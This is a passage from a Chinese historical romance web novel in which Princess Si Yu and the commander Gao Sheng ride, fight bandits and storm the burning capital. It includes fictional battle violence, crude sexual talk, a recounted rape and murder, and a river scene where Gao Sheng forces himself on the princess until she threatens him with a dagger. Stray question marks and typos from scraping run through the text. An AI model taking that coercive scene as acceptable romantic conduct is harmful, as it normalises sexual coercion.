高盛并未在人群中恋战,而是骑马载着她冲向前方,远离了?那伙匪徒才将她放下马。 他自己并未马上?掉头回去,只是看了?眼战况,料定无碍便?留在了?原地,西凉骑军很快就将这群匪徒杀尽,随后留人检查尸身,大部分人往这边来,到两人见面,先下马朝司妤跪拜,随后朝高盛禀报道:“太尉,共有匪寇五十二人,无一活口,我们无人战亡,有一人胳膊受伤。” 高盛点头,淡声道:“原地休息疗伤。” 那人便?去吩咐,留两人戒备周围,其余人原地休息。 司妤看着高盛,好半天才开口:“你?……好了??” 高盛看她一眼,往河边走,一边走一边回道:“正是,要让公主失望了?。” 说完,蹲下身洗了?把染血的手和?刀柄。 司妤看着他,觉得自己至少要跟他道一句谢,但话到嘴边,却?有点说不出来。 最后她什么也?没说,到河边洗了?手脸,喝了?许多水。 高盛起身,见她如此一捧一捧喝水,问:“你?要喝多少?这水很好喝么?” 当然不好喝,但也?不算难喝,最主要是她饿。 她继续喝了?两口水,什么也?没说,等回头,就见高盛朝她递来一个干烙饼,在军营中这么久她也?知道,这是营中常用的干粮。 她接过那饼,咬了?一口,没咬动?,试了?两三次才将那一口咬下来,却?咽不下去,好在她很快反应过来,去河边捧了?一口水喝,就着水将那烙饼咽下去。 高盛哂笑一声,一边笑着,一边倒向她递来个水囊,这样更方便?。 司妤看出来这是他自己的水囊,本想不要,犹豫一下,还是接了?过来,这才道:“多谢。” 喝水时?却?十分注意,唇齿都没有碰到水囊口。 高盛在一旁看着,私心觉得真有意思,现在竟跟他避讳起来了?,两人什么没干过,她连他子?孙根都吃过,现在连个水囊都不碰。 他将掩月刀往地上?重重一杵,靠在树边,“哐”的一声让她惊了?一下,见他只是放刀,便?不再留意,又和?水吃了?几口烙饼,自己也?在树边坐下休息。 司妤吃了?一半烙饼便?饱了?,去将水囊重新打满了?水,连同剩下的一半烙饼,一起还给他。 高盛随手接过。 这时?司妤也?缓过气来了?,问他:“太尉为何在此?” 高盛回答:“苏检回来了?,带回公主的消息,臣想着,以公主的能耐,说不定能哄着屈继先三天不下床,然后倒戈去杀安朝烈呢?那出城自然也?不在话下,所以派了?几队人出来找寻。” 司妤听出他话里的讽刺,回道:“拿我做玩物,以太尉为始,屈继先只以为我是舞伎,太尉却?是因我是公主才亵玩。” 高盛竟哑口无言,不知如何应对。 她却?没继续在此事上?纠缠,而是在旁边坐下,说道:“薛迈说四日后是安朝烈寿诞,他会在夜间打开城门,以城上?白旗为号,让太尉进城。” 高盛嗯了?一声。 余后,两人再未说完。 天色不早,须尽快回营,队伍没一会儿?就整装出发。 司妤仍是坐高盛马背上?,这一次却?没紧紧抱着他,而是自己寻了?块地方,拽着马鞍。 高盛心里?很气闷,他很想知道她前夜是怎么过的,又是怎么从屈继先手上?逃出来的,但又觉得要是问出口,显得他很在意她似的。 不过他很想杀了?屈继先,先阉了?他,再杀他。 队伍很快回到营地,通过李风华之口,司妤才知那伙绿林贼匪已在周围盘旋几日,高盛怕她出城来正好碰到,便?准备提前去将伙那贼匪劫杀,这才去的河边,没想到正好她就被他们撞上?了?。 但话被他说出来,却?是十分难听。 她下午又吃了?一顿热的小米饭,终于好好睡了?一晚。 第二天营中有变动?,卢慈与柴进绪都不见了?,不知带兵去了?哪里?,陈滔还在,司妤觉得陈滔好说话一些,趁他休息时?请他教自己骑马。 不只想学骑马,她还想学射箭,身在军营,一身本事才是保命手段。 听她提这请求,陈滔诧异又受宠若惊,只犹豫片刻,便?连声说好,但凭吩咐。 司妤笑道:“有劳陈将军。” 司妤既是公主,有一张绝美的容貌,平时?又是个端庄清冷的人,她对人一笑,难免有一种?灿若星月的感觉,让陈滔顿时?恨不能伏地叩拜。 于是陈滔带司妤去挑马,事无巨细给她讲解,帮她挑了?匹娇小温驯的马。 待讲解完,陈滔便?让司妤自己喂马,与马熟悉,他则要去练兵了?。 练了?一会儿?,中场休息,李风华过来。 李风华已为这一战军师,陈滔问他:“军师过来有何事?” 李风华道:“无事,只是与将军随意聊聊。” 说完问他:“将军之前与公主在说什么?” 陈滔很快回:“公主说要学骑马,问我能否教她,我便?带她去挑了?匹合适的马。” 李风华捋着胡子?,微笑道:“方才太尉一直遥遥看着将军,兴许是怕将军走了?那宋之洵的老路,将军还须记在心上?啊。” 陈滔一听,顿时?起了?一身冷汗。 宋之洵就是受了?公主蛊惑而反的啊,虽然公主没流露出这种?意思,他也?绝没有这样的意思,太尉心里?怎么想呢? 更何况公主可是太尉的…… 他立刻朝李风华道:“多谢军师提点,是在下糊涂了?,险些犯下大错!” 李风华摆手道:“言重,言重了?,不过是闲聊两句。”说完,便?又晃悠悠走了?。 等下午,当司妤自觉和?那匹马熟了?,来找陈滔教她上?马时?,陈滔却?说军务繁忙,给拒绝了?。 司妤便?不知找谁。 随后问了?两个眼熟的将军,那两名将军也?恭敬地拒绝,她一回头,就见到高盛来了?。 高盛问:“公主就算学了?骑马,难不成还能学会上?阵杀敌?既学不会,学骑马做什么?” 司妤冷下脸:“我行事,还无须太尉来指点。” 这便?是一副公主架子?,高盛很是气恼,莫名就想将她按到榻上?狠狠收拾一番。 他自己都觉得离谱,脑袋差点搬家,也?没让他断了?这颗色心。 司妤欲走,他开口道:“你?先踩住马镫上?马,这马温驯,不会掀你?。” 司妤迟疑一会儿?,终究是想多长进一些,便?依言走到马身旁小心翼翼上?马。 原本还觉得自己不错,这么顺利就坐上?了?马背,但没想到一到马背她就慌了?,那么高,马还在动?,她整个人都僵直起来,轻轻颤抖,完全忘了?刚才陈滔说的骑马要领。 高盛此时?朝她伸手:“缰绳给我。” 司妤颤颤巍巍将缰绳递给他。 他接了?缰绳,便?牵着马缓缓往前走,司妤惊叫了?一声,赶紧抓住马鞍,大口喘息。 高盛也?不说话,就这么牵着马慢慢踱步,因马的缰绳在他手中,司妤也?慢慢放松下来。 直到走了?小半圈,她似乎已经完全习惯了?马背上?的感觉,不再怕了?,心中不由欣喜,开始回忆如何骑马。 等慢踱步绕了?两圈,高盛便?将缰绳递给她,问:“熟悉了??” 司妤肯定地点头,接过缰绳。 高盛便?扯动?缰绳,让马小跑起来。 司妤发现他竟留在了?原地,直接将马给她控制,虽然马速不快,但还是大惊了?一下,下意识就拽紧缰绳弯下腰来,高盛在下面喊:“放松,直起腰。” 司妤还在缓缓习惯直腰,高盛便?又道:“屁股别?不动?,起来——” 司妤却?是不懂,又被他这么喊这种?词,有点又羞又恼。 随即高盛就跑步过来,牵住了?马,“元亨没教你?动?作?” 司妤抿着唇问:“什么动?作?” 高盛在下面道:“马背颠起时?起身,马背下落时?坐下。” 陈滔的确没和?她说过这些,大概是不好意思提臀部这种?部位,也?有可能是没上?马,便?没说到,司妤勉强试了?试,有些不适应,又问他:“为何要这样?” 不是很累吗?她想。 高盛十分直接:“被颠上?半个时?辰,你?屁股就会散架,裤子?都会被磨成开裆裤,到时?候——” “好了?,我明白了?。”司妤打断他。 看出她的窘迫,高盛笑了?笑。 司妤再次开始试,仍是马小步跑,又跑了?两圈,虽然一直在努力随着马背的颠动?而动?,但她真的体?会到屁股要散架的感觉,包括大腿两侧都磨得生疼。 她便?央求高盛:“我怎么让它停,快让它停——” 高盛自己过去将马停了?下来,司妤又在上?面坐好久才缓过来,然后扶了?马鞍,踏着马镫从马背上?爬起来。 此时?她两条腿都是僵的,远没有上?马时?那么觉得自己“孔武有力”,甚至因为腿僵麻都要站不稳。高盛在地上?托了?她一把,才让她没有跌在地上?。 她又不知道是不是要道谢,他却?已经讥讽道:“这般体?力,这般资质,若是我营里?的兵,早就让他滚了?,连喂马也?不配。” 司妤知道自己在动?作方面不算厉害,至少学跳舞她是十分笨拙的,她与五六个宫女一起学,学到最后,论?动?作的熟练度,她只能排倒数。 但被如此奚落,仍然会受不了?。 她回道:“术业有专攻,若是擅长,我便?不用学了?。”说完,又补充道:“对了?,太尉大概不明白‘术业有专攻’的意思,若是回营时?还记得清这话,可以去问问李军师。” 高盛气得想骂人。 关键是,他还真不知道。 司妤不再理?他,牵着马走了?,去放回马圈,高盛气恨地冷哼一声,回了?营帐。 还想着是不是要问一下李风华,但过一会儿?没见着李风华的人,他发现自己已然忘了?那是句什么话。 第30章 第 30 章 翌日, 司妤一早又开始学骑马。 高盛在营帐前远远看着,见她?虽笨拙,但还真是一遍遍练, 没天赋是没天赋, 却比他?营中许多兵都努力。 不禁心一动,问身后朱勇:“我记得骁骑营里的刘左是江夏人, 会水,你去?将他?叫来?。” 朱勇很快便去?叫人,刘左小跑过?来?,高盛问:“来?京城这么久, 还会水?” 刘左连忙道?:“回太尉,属下在江边长大, 水上功夫那是死也不会忘。” 高盛便道?:“随我来?。” 说着出?营帐, 穿过?营寨, 到了山下的河边。 “教我游水。”他?道?。 刘左很快反应过?来?,他?知太尉便是因不会水而被长公主在水中刺伤, 如今大难不死,自然要练好水上功夫, 不能重蹈覆辙。 他?小心问:“那太尉的伤……” “伤已无碍。”高盛一边说着,一边脱了衣服。 刘左也脱了衣服,与他?一起跳入水中, 教他?如何换气,如何凫水, 如何下潜。 高盛本?来?也不是完全不会, 加上他?并不怕水, 学了一下午,也就将要领学得差不多, 等刘左上岸,他?自己又练到天黑。 第二天安朝烈手下一员大将率军前来?对阵,高盛既已决定好攻城日期,自然是不想此时多战,但为了迷惑对方,这一战仍是打得认真,酣战大半日,待对方败下阵后,又将对方撵出?好几十?里。 到下午,高盛又去?河里游水,练到翌日下午,他?主动去?找了还在练小跑的司妤。 “公主想练快跑吗?”他?问。 司妤已经在小跑的马背上练了好几天,当然想练,但她?不想去?找他?,所以一直在熟练小跑,到现在都不敢让马跑快。 她?老实地点头:“嗯。” 高盛道?:“公主和我在水里比拼一下,我便教你快跑。” 司妤之前便听说高盛去?学游水了,料想他?是觉得自己学有所成,想嘚瑟一番。 无所谓,反正她?也不会再在水下刺杀他?。 她?同意了,从马背上下来?。 高盛带她?下山走到河边,便拿出?一只?匕首来?递给她?。 司妤不知所以,接过?匕首。 他?便开始脱衣服,司妤侧过?脸不再看他?。 脱得只?剩一条衬裤他?才下水,在水里自如浮起道?:“下来?吧,刺我试试,陪我练一道?,我便马上教你去?骑马。” 司妤没脱衣服,只?脱了鞋,从岸边下水去?。 到了水里,她?拿着匕首开始刺向他?,但他?不过?两日,在水中便已十?分灵活,她?的匕首还没到他?近前,他?就已游开,司妤追逐了好几下,直到体?力开始不支,也没碰到他?一分。 高盛则是越来?越得意,朝她?露出?自得的笑。 司妤在水里歇息片刻,再次刺向他?,随知他?却一个回身,绕到了她?身后,从身后扣住她?脖子。 她?干脆道?:“我输了,奈何不了太尉。” 高盛大笑着松开她?。 她?也实在没力气了,气喘吁吁游到岸边,从水里出?来?坐到岸边草地上拧自己裙子上的水。 高盛也从水里游上来?,坐在旁边,转头看她?。 美人就是美人,连低头拧衣服水都这么好看。 更何况,她?虽不愿脱下衣服,但如今还是炎夏,衣物都轻薄,她?身上那浅绿色的裙子湿了水,便湿漉漉贴在身上,将她?丰神绰约的身形勾勒得一无余,且衣料透水,连里面的粉色兜衣都能映出?来?,竟比全脱了还勾人。 他?突然起身到她?身旁,一把就将她?按倒在地,一边亲向她?细嫩的脖颈,一边已经探向下方去?扒她?衣服。她?那么柔软纤细一具身体?,到了他?手上便是随意摆弄,倾刻间就已是兵临城下,只?待攻城掠地。 一切就在眼前,但他?喉间却传来?一阵刺痛。 她?拿起了他?扔她?那把匕首,抵着他?喉咙,咬牙道?:“放开我。” 一滴血已从他?脖颈上滴到她?颈子上,如红梅映雪,如此美妙。 可想而知,如果他?继续,她?一定不会手下留情。 他?微微将头抬高了些,离开她?的匕首,和她?道?:“只?是温存一番,彼此寻些快活,何必如此?” 司妤的匕首再次抵到他?脖子前:“你敢碰我一下,要么你死,要么我死。” 西凉军此时是不希望她?死的,前有京城的行刺,现在若她?死在军中,那便是他?杀的——此时两军对阵,若他?在此时杀公主,无异于安朝烈此时废皇上,分明就是昭告天下自己才是反贼。 实在讨不到好,高盛从她?身上下来?,一副不在乎的模样轻嗤一声?:“不碰就不碰呗,等打进了京城,自有无数美人送上门来,我一天换一个。” 司妤什?么也没说,只是整理自己的衣服。 高盛觉得没劲,穿上衣服要走,走了两步,见她?还在河边,意识到她?要等衣服晒干了才能回去?。 想说那不如把衣服脱了放地上晒,但一想,她?想必是不会脱了给他?看的,便作罢了,不去?自讨没趣。 可这里离山上营寨还有些距离,她?一个人在这里也着实不放心。 他只好在一旁晃荡来晃荡去?地等着,等了一会儿,不耐烦了,又下河游了一圈,等再上来?,她衣服才算半干了,穿了鞋往营寨里走,他?便跟上。 回到营寨,高盛一句话没说,兀自去?了军帐中,好似忘了之前说教她骑马的约定。 司妤也不想提醒他?,在营中空地上站了片刻,径直走到马圈旁,牵出?那匹性情温驯的矮马来?。 再次上马,慢跑片刻,她?试着踢了一脚马腹,开口?道?:“驾——” 马果然奔跑起来?,这一快她?便慌了,想勒马停下,马却不听使唤,仍是没命地往前跑,她?完全控制不住。 感觉到自己快被颠下来?,她?急忙喊:“来?人,快来?人——” 高盛在帐中听见来?人禀告,立刻出?帐看,才见司妤又到了校场上,那原本?温驯的马正没命地狂奔,司妤的马鞍已经歪了,此时她?正死死夹着马肚,抓着马鬃,控制着身形。 他?立刻奔到自己的马前,跃身上马,策马去?追她?。 司妤是匹普通小马,他?的马则是大宛良驹,不一会儿就将她?追上,提醒她?:“别夹马肚,看一眼脚镫——” 马还在跑,风在耳边呼啸,司妤没听清他?的话,也不知道?怎么去?做。 他?便松了马镫,将自己的马向她?靠近,随后从马背上起身,待两匹马并列时,跳坐到了她?马背上。 这举动仍将她?吓了一跳,但随即他?就将她?拢在怀中托了托身躯让她?坐正,从她?手中接过?缰绳。 此时她?放松下来?,仿佛有了依靠一样。 高盛一边掌握着缰绳,一边将她?脚从马镫上拿出?来?,弯腰调整了一会儿马鞍,又安抚片刻,疯跑的马便停了下来?。 司妤松一口?气。 他?先?下马,随后接她?下来?,和她?解释道?:“你的马镫勾住了马的肚带,它被勒了肚子,身体?吃痛就不听使唤了,以后上马前要注意。” 司妤脑子里全都是骑马动作与技巧,完全没注意这些,此时听他?这话,才道?:“我知道?了。” 心有余悸,她?沉默不语。 高盛还记得自己说过?要教她?骑马的,只?是…… 其实刚才回来?时他?也记得,但他?故意没有,因为不高兴她?拒绝他?。 在他?看来?,两人算是讲和,他?没有女人,她?也没有男人,这么好的时候,怎么就不能同眠? 自然只?有一个理由,她?讨厌他?,所以不想被他?碰。 于是他?便不高兴了,故意爽约。 但没想到她?骄傲又好强,不开口?,不找他?,自己就上了马。 她?是真不知道?有多少人从马上摔下来?缺胳膊断腿或是一命呜呼吗? 不再纠结这事,他?说道?:“明日晚上我会亲自带军攻城,留李风华与两营士兵在营地,你与小桃也在此,若有意外,听李风华部?署。” 司妤看向他?:“我和你一起去?攻城。” 高盛惊讶:“别开玩笑,攻城可不是闹着玩的,就算北门能顺利打开,城内也有十?多万守军,若卢慈他?们拦不住,安朝烈其余部?队也极有可能围上来?前后夹击,到了那时,派不出?人来?保护你。” “那便不保护我,你给我一身铠甲。” “铠甲也不能保你不死。” “他?们不敢杀我。”司妤说。 高盛看她?样子,确定她?是认真的。 “为什?么要去??有这个必要吗?”他?问。 司妤回答:“自然有,第一是为你,我去?能鼓舞士气,也能让安朝烈投鼠忌器;第二是为我,我怕你攻入京城,然后将京城据为己有,图谋不轨。” 高盛看着她?,不屑地轻嗤一声?,似乎是在说她?小人之心,想得太多。 可他?内心却是惊讶的,不禁想,得亏她?是个女人,要是个男人,指不定就想上阵杀敌了,如果她?不是公主而是皇子……那京城兴许就容不下他?和安朝烈这些人了。 高盛不说话,司妤便道?:“不想让我去?,太尉在怕什?么?” “只?要公主不怕,我又会怕什?么?兵卒有眼,但刀枪无眼,公主若是被安朝烈的人一□□死了,这一仗我必胜。”高盛道?。 司妤回答:“所以,一言为定。” 高盛看看她?:“公主至少先?学会了骑马。” “还有明天白日,你教我。”司妤终于说出?要他?教她?的话。 高盛回道?:“明日晚上攻城,公主是觉得明日大军可以一觉睡到傍晚,再如游园一样慢悠悠出?发?” 司妤自然也听得出?来?他?在讽刺她?,不懂大军进攻前的紧张,她?讨厌他?这不敬的模样,却还是忍耐着回道?:“那今晚呢?” 高盛默然。他?相?信,如果他?说今晚也不行,她?很有可能再自己上马。 大约是他?其实是个怜香惜玉的人,又或者他?始终觉得她?是自己的女人,不管怎样,他?还真不想看着她?从马上掉下来?摔死。 他?几不可闻地叹息一声?:“你上马吧。” 30-40 第31章 第 31 章 司妤练了半宿的马, 练到后面,她还想练,马都要?不干了, 停滞不动, 她只好牵马去休息喂食,自己也去休息。 第?二天下午西凉军就已开始准备, 天见黑,就饱食一顿后轻装出发,悄悄前往京城北门?。 司妤赶在这之前勉强练好了策马奔驰,穿上一身铠甲, 有备无患地背了一张弓,然后骑马跟在了队伍中。 军队急行军到达北门?时正是三更, 高盛遣人去前方探查, 果然见到城上白旗, 便令先遣军上前,确认城门?已开, 于是率军冲杀进去。 司妤自然不在冲锋队伍中,高盛派了一支两百人的轻步兵将她护在军阵中间, 他自己则率着?一队精锐骑兵在左右两翼掩护下迅速冲往安朝烈府上,一进城就不见了踪影。 黑夜中,司妤骑在马上, 看?着?四方喊杀,西凉军如?车轮一样往前推移, 被杀得措手不及的京城守军节节败退。 她身边这支队伍只是看?着?, 并不上阵。 处处是刀割进血肉的声音, 也许死的是自己人,也许死的是守军, 若是自己人,她要?心痛,若是守军,她也要?心痛,因为这也是大?兴的子民。 也许他们只是普通的一名禁军,负担着?守卫京城的职责,高盛进京了,做了太尉,他们要?听命于高盛;高盛带着?他的西凉军走了,京城被安朝烈把持,所以?他们要?听命于安朝烈。 若没有这些动乱,他们只是一名普通的京城禁军,一心一意保护着?皇城而?已。 她知道,若要?做一个?成熟的政客或是将军,努力去匡扶社稷,她不能想这么多,不能怜惜这个?,又心疼那个?,见不得一点血……现实便是若非对方死,就是自己亡。 在京中肆意抢劫杀戮的,也许就是他们;去宫中将昌乐带出的,也是他们;若她身边无人护卫,他们也会将她带去安朝烈面前。 一名西凉军在杀了三名京城守军后被砍去胳膊,倒在了地上。 司妤正好将这一幕看?到,亲眼看?见他滚在地上死死捏着?臂膀惨叫呻|吟。 她看?向身旁的队长马守义道:“快去给那人止血,他还能保住一命。” 马守义有些迟疑地答道:“太尉吩咐小人一刻不离公主。” “我此时没事?,你们为同袍,若能救他一命,他还能拿着?抚恤银两去和父母妻儿团聚。”司妤道。 马守义自是动容,他们在外?卖命,为的是升官加爵,但更多是为了父母妻儿吃一口饭,他也希望自己有一天残了,打不了仗了,还能留下一条命回去见妻儿。 他于是吩咐手下道:“去将那人带来,替他止血!” 下面士兵听令,立刻去将那人拖进来,用刀割了布条下来替他绑住胳膊。 战场上他们能做的只有这样了,能不能活命,就看?他自己的造化。 司即见周围人闲着?也是闲着?,便让他们见到还有救的,就将人拖过来止血,如?此下来,倒很快就拖了好几十人过来。 直到队伍打至城中央,远方天空中亮起冲天的火光。 有人道:“哪里起火了?” 司妤朝那方望去,思忖片刻,突然惊道:“那是皇宫的方向!” 不知那边是什么情况,又不知皇上和太后怎样,她朝周围道:“我们去皇宫!” 马守义立刻道:“那怎么行,我们只有两百人,太危险!” “可此时宫中有事?!”司妤道。 其实她自己什么也不算,司家的希望全在皇上身上,如?果皇上有事?,那她努力的一切都废了。 队长仍坚持道:“太尉有令,让小人守在阵中,誓死护卫公主。” 司妤知道,这是军令,要?么两人都活着?,要?么两人都死了,如?果她死了,而?他这个?队长还活着?,那他也会受军令处置。 她再不说话,一声“驾”,策马朝皇宫方向奔去。 马守义急了,立刻下令所有人去追公主。 远方火势越来越大?,再接近一些,便能闻到浓浓的焦糊气息。 司妤马不停蹄赶往皇宫,才?到北门?附近,便遇到成群结队揣了财物或是背了包袱的宫人从宫内逃出来,路上遇到士兵,又被士兵劫去财物,一时间京城乱成一团。 司妤令人揪住一名出逃的小太监,问他:“宫中为何起火,皇上呢?太后呢?” 那宫人认出司妤来,结巴道:“长……长公主……” “快说!”司妤从不打人,此时却急得一马鞭抽在了他身上。 宫人连忙跪地道:“黄将军率军进宫去了……奴才?也不知火因何而?起,大?家都往宫外?逃,奴才?……” 黄将军定是黄承训,当?初受舅舅之召进京讨贼,却在舅舅死后与安朝烈狼狈为奸,司妤开始思忖他进宫去做什么。此时连她都能看出来安朝烈的军队全无战心,纷纷溃散,黄承训极有可能会撤军,而?他来皇宫…… 莫非是要?劫持皇帝? 就在此时,一支骑兵自远方奔袭而?来,马守义立刻下令道:“戒备——” 这边士兵纷纷拔刀对向前方,那只骑兵策马到跟前,朝这边大?喊道:“公主——” 司即一听,竟是欧阳策的声音。 对方随即道:“臣欧阳策拜见公主——” 欧阳策曾是漪兰殿侍卫,司妤没有不相信他的理由,便上前道:“欧阳策,真是你?” 欧阳策下马,只身前来,到她面前跪下:“公主,臣应严令君之召今夜起事?杀屈继先,奈何屈继先已逃离,臣便在屈府中搜救出昌乐公主,暂且安置,如?今前来护卫长公主!” 司妤欣喜,“好。”随后吩咐道:“你快随我一起赶往上西门?,黄承训劫了皇上,正往上西门?而?去!” “是!”欧阳策立刻上马,与司妤一起朝皇宫上西门?而?去。 司妤并不熟悉京城,但对宫中方位却熟悉,皇上与太后都居北宫,所以?黄承训定是从北宫进去,劫了皇上,拿了宫中财物,再往上西门?出宫,这是最近的路线。 她此时从北门?追去已经来不及,还不如?从西门?去堵。 绕皇宫行了小半圈,来到上西门?,却被上西门?守将拦住。 司妤道:“我是长公主,你们是哪一营的人,这是不让我进宫吗?” 那守将本就是安朝烈心腹,朝她道:“公主可进,其余人不可进!” “你们没见到身后的大?火?让皇宫烧成灰烬,你们该当?何罪?”司妤厉声质问。 守将迟疑了,他虽是安朝烈心腹,奉命把守皇宫,但西凉军攻进来,宫中又起火,此时他也是慌的。 长公主责问,他便心虚无法应对。 就在此时,里面有人出来,正是黄承训带着?皇上与太后及几车财物。 司妤即刻策马到西门?正前方,拦住他们去路。 欧阳策与西凉军见她如?此,立刻挡在她身前。 司妤道:“黄承训,你敢劫驾!” 皇上见着?竟是她,立刻喊:“皇姐——” 黄承训看?向前方,夜色中他辨不清司妤带了多少?人,便道:“宫中起火,臣为护驾,公主不妨随臣退出皇宫,以?免伤到千金之躯。” 司妤拿马鞭指向黄承训身后众人:“安朝烈祸乱京师,欲废皇帝,欺君罔上,如?今太尉高盛已将安朝烈诛杀,尔等此时放下武器,则前罪不究,执意劫持皇上,则为谋反,乃是杀头,诛九族之罪” 众人一听安朝烈已死,顿时传来嘈杂声,黄承训即刻道:“胡说八道,安大?将军好得很,势必击退西凉反贼!勿听人谣言惑众!”说完就拉弓搭箭,对向司妤。 欧阳策等人皆是一惊,立刻就挡着?她想要?冲杀出去,司妤却策马上前一步,看?着?黄承训道:“你敢当?众杀我?” 说完朝身后下令道:“诸将,若我死,你们务必诛杀此反贼,救下皇上与太后,交于太尉手中——” 欧阳策与西凉将士大?声道:“臣遵命!” 司妤一动不动坐在马背上,黄承训却慌了,迟迟不能射出弦上之箭。 长公主出生?时,天现异象,又因貌若天仙,世所罕见,所以?大?兴臣民人人皆知长公主,也将长公主视为国之瑰宝,号称大?兴的明珠。 杀了长公主,便是杀了天下百姓心中的神祇,他会成为大?兴的罪人,会成为众矢之的。 他心慌,他手下士兵更加犹豫。 谁都能看?出来这一仗要?败了,就此跟着?黄承训离开,那便是永远的反贼,很可能出了京城就被剿灭,若放下武器呢?至少?他们就清白了,不再是反贼。 黄承训也看?出了手下士兵的犹豫,开口道:“听我令,杀出去——” 司妤也道:“救驾者,重?赏!” 说完,倒拿出身后弓箭,毫不犹豫朝黄承训射了一箭。 可想而?知她这一箭自然不会碰到黄承训,偏了老?远,最后掉在了黄承训前面的一个?小兵身上,箭已无势,那小兵毫发无伤,却也因这只箭而?战战兢兢,吓得瘫软在地。 ——这可是长公主朝他射来的箭,岂非等同于皇帝要?他死? 黄承训已经带兵杀过来,欧阳策等人冲上去,当?即杀成一团。 司即仍坐在马上,看?着?下面的兵士。 欧阳策与西凉军这边目标明确,士气振作?,而?对面则多数人犹豫不动,黄承训回头杀了一名踯躅不前的士兵,大?喝道:“不进者死!” 此时皇上也喊道:“护驾者,封你们为侯!” 于是大?片人开始倒戈,反杀黄承训。 黄承训眼见人心已散,再僵持无用,他也不敢杀公主或是皇上太后,只好仍下皇上太后,带着?几车宫中财物与嫡系军士且战且退,朝宫外?逃去。 司妤手上不过几百人,不敢下令追击,只快速下马去看?皇上与太后,皇上与太后见她便痛哭,她即刻迎他们从西门?出来。 后方传来兵马的声音,欧阳策等人立刻警戒起来,等那马蹄声渐渐靠近,马守义率先激奋道:“是太尉!” 此时已将近黎明,熹微曙光从天边照来,司妤看?过去,正是高盛一手持着?掩月刀,一手提着?个?人头模样的东西,带着?浩浩荡荡的西凉铁骑策马而?来。 大?概,这便是安朝烈的人头,他成功诛杀了安朝烈,今夜的攻城战已然胜了。 身后热浪袭来,似有什么倒下的声音,她回过头,只见大?火已经从北宫蔓延到南边,火舌正吞噬着?三层高的九华阁,一只梁柱从阁上掉落下来。 那是高祖开国后所建,上有开国十二功臣、开国二十八将的功绩和画像,是大?兴王朝的功德榜和至上无上的荣誉,伴随着?曾经万国来朝的盛世繁华,他们也是王朝史上闪耀的一颗颗明珠,而?如?今,这一切被付诸一炬,什么都没了。 以?及高祖住过的未央宫,章太后住过的长乐宫,修出《史集》与《新语》的崇贤馆,她生?活了十多年的漪兰殿……全都救不回来了。 就好像司家祖先创下的基业,倾刻间便土崩瓦解,群雄逐鹿,皇室衰微至此。 看?着?那熊熊大?火,司妤不由泪流满面,那一刻,竟想奔向火场,与大?兴的辉煌一同离去。 第32章 第 32 章 高盛策马至她跟前, 欧阳策还未有所反应,马守义道:“太尉。” 高盛看看她,又看向马守义, 问:“黄承训呢?” 马守义回道:“公主带属下过来?, 正见?着黄承训欲劫皇上太后出?宫,公主将?其震住, 属下等与?之交战,黄承训心虚,带着几?车财物逃去了。” 高盛似乎往周围望了望,在后边黑暗处见?到了皇上与?太后。 这才下马来?, 到皇上面前,呈上手上人头, 跪拜道:“皇上, 此为安朝烈项上人头, 臣已取来?,臣护驾来?迟, 让皇上受惊了。” 皇上见?了人头,不由后退两步, 浑身打战,随即鼓起胆气?道:“太尉快快平身,此番京城大难, 多亏有太尉,朕为太尉记功。” 高盛起身, 禀告道:“安朝烈余众和屈继先等人还在城中, 臣须马上过去, 防止其反扑;宫室起火,臣留人前去救火;皇上与?太后及长公主可先至臣府邸歇息。” 皇帝在高盛面前有些胆怯, 很快道:“好,都?听太尉安排。” 高盛便下令一部分精锐随他离去,剩下人等前去救火,再让马守义等人护送皇上一行人去太尉府上暂避。 皇上唤司妤:“皇姐——” 司妤摇头:“皇上陪母后去休息吧,我也去救火。” 皇上便道:“那朕也留下。” 最后高盛带人离去了,司妤与?皇上带人去拿器皿取水灭火,但火势已大,一时间又找不到那么多器皿,去寻水车,找了半天也找不到,城中尽是?厮杀又不能走远;最后司妤将?手上一只小?盆交给?了身体更健壮的士兵,看着他们从湖里舀水端了泼进火场,却丝毫不减火势,完全是?杯水车薪。 她徒然站在边上,看着燃烧的宫宇,唤了皇上的名字:“阿琪,我们的家,在我们手上没了。” 十三岁的皇上不由哭起来?,司妤转过头去扶了他的肩,和他道:“皇上,我们用尽毕生心力?,将?它重新建起来?,好吗?我的弟弟将?来?定是?明君,定能匡复大兴。” 皇上抹了把眼泪,朝她肯定地点头:“姐姐,我会的,我一定会的!” 京城的战争到第二天中午才结束,安朝烈死,屈继先与?黄承训率部逃走,而宫室大火还在烧着,再也救不回来?。 司妤太累了,与?皇上一起去到了太尉府,这府邸空置多日,下人也不在了,士兵勉强打扫一番,过了一会儿,却有李嬷嬷替她送来?热水。 李嬷嬷是?高盛的人,当初便是?替他盯着她,司妤对她没有好感,此时见?到,却又有一种怅然。 她问:“你为何在此?” 她记得当初卢慈等人迅速离京,府上仆人都?遣散了,李嬷嬷年?纪大了,不可能跟着大军西迁,自然也留在了京城。 李嬷嬷回答:“太尉离京后,老奴便在对街卖豆腐,上月就听闻太尉将?要?打进京城,老奴便等着盼着,如今见?太尉府上来?了人,就上前问要?不要?仆人,他们说要?,老奴就过来?了,没想到竟是?公主驾到。” 司妤问:“你是?京城人,为什么如此记挂着高盛?” 李嬷嬷回答:“太尉是?老奴的恩人。” 司妤很意外?,她可不觉得高盛是?个会到处施恩的善人。 李嬷嬷大概也知道她意外?,便说道:“老奴之前是?吴弼府上的帮厨。” 司妤更意外?,吴弼昔时受父皇宠幸,被尊为国师,可谓风光无限,他的府邸是?父皇亲自恩准建造,比这太尉府还大,没想到李嬷嬷竟是?他府上的。 李嬷嬷继续道:“老奴有个女儿叫兰儿,那年?十六,许了人家,还有两个月就过门,那一天,却被吴弼的弟弟吴忠看中了,要?她做小?,她不愿意,吴忠便将?她强掳过去糟蹋了,然后让人将?她绑在树上,拿箭射着玩,就这么将?她射死,再把尸体扔了……我女儿在人家眼里,连猫狗都?不如。 李嬷嬷眼中微湿,很快道:“我想了很多法子想报仇,可我就是?个老婆子,样样都?行不通,我就决定攒钱。别人说攒够五两银子,就可以买个侠客替自己杀人,但我想攒十两,要?么找个更好的会杀人的人,要?么找两个一起去杀,机会更大一些,后来?我才攒到二两银子,太尉进京了,他把吴弼全家都?杀了,把那些人的人头挂在菜市场,我专门去看,找到了吴忠的人头,才知道我家兰儿仇报了。 “后来太尉府上请仆人,老奴便过来?了,后半辈子,太尉就是?老奴的恩人,老奴这条命都?是?他的。” 司妤久久不能言语。 